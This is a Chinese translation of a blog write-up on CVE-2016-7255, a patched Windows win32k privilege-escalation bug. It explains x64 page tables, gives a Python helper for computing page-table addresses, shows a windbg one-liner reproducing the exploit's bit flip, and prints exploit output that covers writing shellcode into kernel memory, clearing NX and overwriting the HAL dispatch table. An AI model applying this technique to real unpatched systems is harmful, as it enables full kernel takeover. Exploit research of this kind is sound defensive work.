【技术分享】CVE-2016-7255:Virtual Memory, Page Tables, and One Bit

阅读量155199

|

发布时间 : 2017-01-20 09:56:39

x
译文声明

本文是翻译文章,文章来源:ricklarabee.blogspot.com

原文地址:http://ricklarabee.blogspot.com/2017/01/virtual-memory-page-tables-and-one-bit.html

译文仅供参考,具体内容表达以及含义原文为准。

https://p4.ssl.qhimg.com/t010d71b57aebbd0c52.jpg

翻译:Ox9A82

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

前言

在Google安全团队公布了一个本地提权漏洞的细节之后,我决定研究一下这个漏洞。这个漏洞通过win32k.sys的系统调用NtSetWindowLongPtr()把索引为GWLP_ID的Windows句柄由GWL_STYLE设置为WS_CHILD。

我在Twitter上找到了一个CVE-2016-7255的PoC。这个PoC演示了这个漏洞:在内核模式下,攻击者控制的地址被解引用并与0x4做逻辑或运算。

在Blackhat 2016上曾经发布过一个演示:《Windows 10 Mitigation Improvements》,它展示了系统空间的PML4条目现在已经被随机化,而不再使用静态条目0x1ed。

在Zero Nights 2016上,Enrique Nissim公布了POC议题:《I Know Where Your Page Lives – De-Randomizing the Latest Windows 10 Kernel and  for Windows 10 anniversary edition》。Enrique演示了如何确定在最新的Windows版本中已被随机化的PML4条目。

我使用了他这个PoC然后做了一些适配,可以在64位版本的Windows 7,8.1,10和Server 2012 R2上对同样的漏洞使用。

我做的一些改变如下:

1.将PML4自引用条目设置为静态条目0xFFFFF6FB7DBEDF68

2.调整shellcode以适配不同操作系统版本中的偏移量

3.给不同的操作系统设置了不同的覆盖(overwrite)目标

4.Win7 工作站 – 使用通用Hal Dispatch Table以及调用NtQueryIntervalProfile函数

5.Win8.1 工作站 – 使用HalpApicRequestInterrupt指针

6.Win 10 工作站(周年更新之前) – 使用HalpApicRequestInterrupt指针

7.Window Server 2012 R2 – 使用HalpApicRequestInterrupt指针

为了更好地理解这个漏洞和exploit的工作原理,我们需要首先看一下虚拟内存管理器是如何工作的。

虚拟内存和页表

要了解如何将虚拟地址映射到物理地址,可以参考AMD和Intel的开发者手册来了解有关映射和页表的内容。

http://p5.qhimg.com/t019e7fab29cbeb6a32.png

http://p5.qhimg.com/t015e133ff6fa81efac.png

键值位(译注:key bit,指具有特殊意义的bit,如下)会被后面的代码所使用。

读/写(R/W)位。 1号位 – 如果为0,则内存不允许写

用户/管理员(U/S)位。 2号位 – 如果为0,则不允许用户模式访问(ring 3)

不可执行(NX)位。 63号位 -如果为1,则内存不允许执行代码。


跟踪一个虚拟地址到它物理地址的映射过程

为了帮助大家理解如何映射一个虚拟地址到物理地址,我这里会使用windbg来展现映射过程。我这里使用的一个小程序,它的功能是在虚拟地址0x1000000上写入“A”。

虚拟地址:

http://p7.qhimg.com/t01f99f6aa121a394f5.png

虚拟地址转换到物理地址

在下面的例子中,我使用windbg作为内核调试器,然后把进程地址空间切换到用户进程的上下文中去。

!process 0 0 nameofexe.exe
.process /i <address of the process>
.reload /user

CR3寄存器用于查找PML4表的基地址

第一步是获取cr3寄存器的值:

“r cr3”0x1fddff000

这就是指向PML4表的物理地址。

使用虚拟地址的第47-39位* 8(每个地址是64位或8字节)来寻找页目录指针表的物理地址:0x1ff48867

http://p0.qhimg.com/t011ff48215ee06a56b.png

页目录指针表(Page Directory Pointer Table,PDP)

现在使用PDP表的物理地址并将低12位(867)清零,这12个位会在页表(Page Table Entries table)中被引用。

0x1ff48000+虚拟地址的38-30位乘上8作为偏移,以找到页目录表(Page Directory Table)的物理地址,结果是0x19d90867。

http://p2.qhimg.com/t01d1e54a1e93233f27.png

页目录表(Page Directory Table)

清零11-0位,得到物理地址:0x19d90000。

0x19d90000 + 虚拟地址的29-21位* 8得到页表(page table)的物理地址:0x1f491867。

http://p1.qhimg.com/t018111a9328ca6bf0b.png

页表(Page Table)

清零第11-0位,获得物理地址0x1f491000

0x1f491000+虚拟地址的第20-12位*8获得物理页的物理地址:0x20692867

http://p6.qhimg.com/t01551e9d8245ce08b8.png

一个物理页中的偏移

清零第11-0位,得到物理地址:0x20692000

0x20692000+虚拟地址的第11-0位:0x2692000。在这种情况下,这表示一个物理页中的偏移,并且也表示该页的大小为4kb,0x0-0xfff是0-4095或是表示4kb。

windbg中的!pte命令会提供相同的信息:

!pte - windbg

http://p6.qhimg.com/t0153332e8b0e72dd14.png

下面是python代码,它实现了windbg中!pte的功能,并且能够使用不同的自引用索引(这对于计算Windows 10 build 1607中的信息很有用)

#!/usr/bin/python
import sys
PML4_SELF_REF_INDEX = 0x1ed
def get_pxe_address(address):
    entry = PML4_SELF_REF_INDEX;
    result = address >> 9;
    lower_boundary = (0xFFFF << 48) | (entry << 39);
    upper_boundary = ((0xFFFF << 48) | (entry << 39) + 0x8000000000 - 1) & 0xFFFFFFFFFFFFFFF8;
    result = result | lower_boundary;
    result = result & upper_boundary;
    return result
if (len(sys.argv) == 1):
    print "Please enter a virtual address and PML4 self ref index in hex format"
    print "The PML4 self ref index is option, the static idex of 0x1ed will be used"
    print "if one is not entered"
    print ""
    print sys.argv[0] + " 0x1000 0x1ed"
    sys.exit(0)
address = int(sys.argv[1], 16)
if (len(sys.argv) > 2):
    PML4_SELF_REF_INDEX = int(sys.argv[2], 16)
pt = get_pxe_address(address)
pd = get_pxe_address(pt)
pdpt = get_pxe_address(pd)
pml4 = get_pxe_address(pdpt)
selfref = get_pxe_address(pml4)
print "Virtual Address: %s" % (hex(address))
print "Self reference index: %s" % (hex(PML4_SELF_REF_INDEX))
print "n"
print "Page Tables"
print "Self Ref: t%s" % (hex(selfref))
print "Pml4:tt%s" % (hex(pml4))
print "Pdpt:tt%s" % (hex(pdpt))
print "Pd:tt%s" % (hex(pd))
print "PT:tt%s" % (hex(pt))

使用示例:

./pagetables.py 0x0 0x1ed
Virtual Address: 0x0
Self reference index: 0x1ed
Page Tables
Self Ref:     0xfffff6fb7dbedf68L
Pml4:         0xfffff6fb7dbed000L
Pdpt:         0xfffff6fb7da00000L
Pd:           0xfffff6fb40000000L
Pt:           0xfffff68000000000L
./pagetables.py 0xfffff68000000000 0x1ed
Virtual Address: 0xfffff68000000000L
Self reference index: 0x1ed
Page Tables
Self Ref:     0xfffff6fb7dbedf68L
Pml4:         0xfffff6fb7dbedf68L
Pdpt:         0xfffff6fb7dbed000L
Pd:           0xfffff6fb7da00000L
Pt:           0xfffff6fb40000000L

!pte in Windows 10 1607

在Windows 10 build 1607(周年版)中,windbg还不了解随机化pml4自引用地址

http://p2.qhimg.com/t010693b615060fb30e.png

通过使用上面的python脚本,可以看出windbg没有考虑随机化的pml4自参考索引

./pagetables.py 0x00007ff6dd800000
Virtual Address: 0x7ff6dd800000
Self reference index: 0x1ed
Page Tables
Self Ref:     0xfffff6fb7dbedf68L
Pml4:         0xfffff6fb7dbed7f8L
Pdpt:         0xfffff6fb7daffed8L
Pd:           0xfffff6fb5ffdb760L
PT:           0xfffff6bffb6ec000L

如上所述,漏洞(CVE-2016-7255)允许我们使用0x4对值进行异或。这可以启用对PML4e自引用地址的用户模式访问,所以在用户空间可以访问页表,这反过来允许我们读取和修改内存中的任何数据。

注意在Before部分中,第2位设置为零,由KW-V中的“K“或”kenrel”表示。在运行漏洞Exp后,以地址0xFFFFF6FB7DBEDF68为目标,值0x30FED863被翻转为0x30FED867,使得能够在用户模式访问,由UW-V中的“U“或”user”表示。

Windows 8.1 

之前

http://p4.qhimg.com/t018a992c8dd2b37036.png

之后

http://p8.qhimg.com/t01c611d5e4d36d916a.png

要在windbg中复制exploit正在进行的操作,可以使用以下命令:

r $t1 = FFFFF6FB7DBEDF68; eq $t1 poi($t1) |0x4

http://p5.qhimg.com/t0159db16b15a00e9c7.png

创建新PT来进行读写

现在,该条目已被改为允许用户模式访问,Enrique Nissim提出了一个方法:创建新的使用物理地址和属性进行更新的页表,从而实现读、写任意内存地址。

在这个例子中,地址0xffffffffffd00510只能从内核模式访问,这是由每个条目的第0x63(位7-0:“01100011”,注意第2个位为0)决定的。通过使用Enrique的代码,我们可以创建一个页表,来从用户模式“0x67”(位7-0:“01100111”,通知位2现在是1)访问,并指向与内核只有内存:0x1163或在这种情况下为0x1000(记住清零位11-0)。

之前

http://p0.qhimg.com/t01a1b53746d5af845a.png

之后

http://p6.qhimg.com/t01abddc66b58f58085.png

漏洞Exp的输出

这是来自在Windows 7上运行的Exp的输出。

创建一个页表,允许读取haldispatchtable+0x8的值。

创建一个页表,允许将shellcode写入内核态内存,绕过SMEP和SMAP,并删除页表上的NX位以允许代码执行。

创建一个页表,允许覆盖haldispatchtable+0x8,这将触发代码执行。

读取将被替换的原始值(haldispatchtable+0x8)

On a Windows 7 box:

[*] Getting Overwrite pointer: fffff80002c42c60
[+] Selected spurious PML4E: fffff6fb7dbedf00
[+] Spurious PT: fffff6fb7dbe0000
--------------------------------------------------
[+] Content pml4e fffff6fb7dbedf80: 199063
[+] Patching the Spurious Offset (PML4e) fffff6fb7dbedf00: 199067
[+] Content pdpte fffff6fb7dbf0000: 198063
[+] Patching the Spurious Offset (PDPTE) fffff6fb7dbedf00: 198067
[+] Content pdpe fffff6fb7e0000b0: 1dc063
[+] Patching the Spurious Offset (PDE) fffff6fb7dbedf00: 1dc067
[+] Content pte fffff6fc00016210: 8000000002c42963
[+] Patching the Spurious Offset (PTE) fffff6fb7dbedf00: 2c42967
OverwriteAddress: fffff6fb7dbe0c60

写入shellcode和删除NX位的输出:

Original OverwriteTarget pointer: fffff80002a438e8
[+] Selected spurious PML4E: fffff6fb7dbedf08
[+] Spurious PT: fffff6fb7dbe1000
--------------------------------------------------
[+] Content pml4e fffff6fb7dbedff8: 1ec063
[+] Patching the Spurious Offset (PML4e) fffff6fb7dbedf08: 1ec067
[+] Content pdpte fffff6fb7dbffff8: 1eb063
[+] Patching the Spurious Offset (PDPTE) fffff6fb7dbedf08: 1eb067
[+] Content pdpe fffff6fb7ffffff0: 1ea063
[+] Patching the Spurious Offset (PDE) fffff6fb7dbedf08: 1ea067
[+] Content pte fffff6ffffffe800: 100163
*** Patching the original location to enable NX...
[+] Patching the Spurious Offset (PTE) fffff6fb7dbedf08: 100167 
HAL address: fffff6fb7dbe1000
[+] w00t: Shellcode stored at: ffffffffffd00d50

覆盖exec目标的输出:

[+] Selected spurious PML4E: fffff6fb7dbedf10
[+] Spurious PT: fffff6fb7dbe2000
--------------------------------------------------
[+] Content pml4e fffff6fb7dbedf80: 199063
[+] Patching the Spurious Offset (PML4e) fffff6fb7dbedf10: 199067
[+] Content pdpte fffff6fb7dbf0000: 198063
[+] Patching the Spurious Offset (PDPTE) fffff6fb7dbedf10: 198067
[+] Content pdpe fffff6fb7e0000b0: 1dc063
[+] Patching the Spurious Offset (PDE) fffff6fb7dbedf10: 1dc067
[+] Content pte fffff6fc00016210: 8000000002c42963
[+] Patching the Spurious Offset (PTE) fffff6fb7dbedf10: 2c42967
Patch OverwriteTarget: fffff6fb7dbe2c68 with ffffffffffd00d50

MS16-135

Microsoft于2016年11月8日发布了补丁MS16-135,以解决此漏洞。 McAfee有一个篇很好的文章讲述了如何修复此漏洞。

开发示范

Windows 7 SP1 Workstation

http://p7.qhimg.com/t018888652a69bc3769.png

Windows 8.1 Workstation

http://p6.qhimg.com/t018ccd7fc3a24ef995.png

Windows 10 Build 1511 Workstation

http://p3.qhimg.com/t0198be6a83064f1a19.png

Windows 2012 R2 Server

http://p0.qhimg.com/t018d065c855ff63f2d.png

本文翻译自ricklarabee.blogspot.com 原文链接。如若转载请注明出处。
分享到:微信
+10赞
收藏
Ox9A82
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66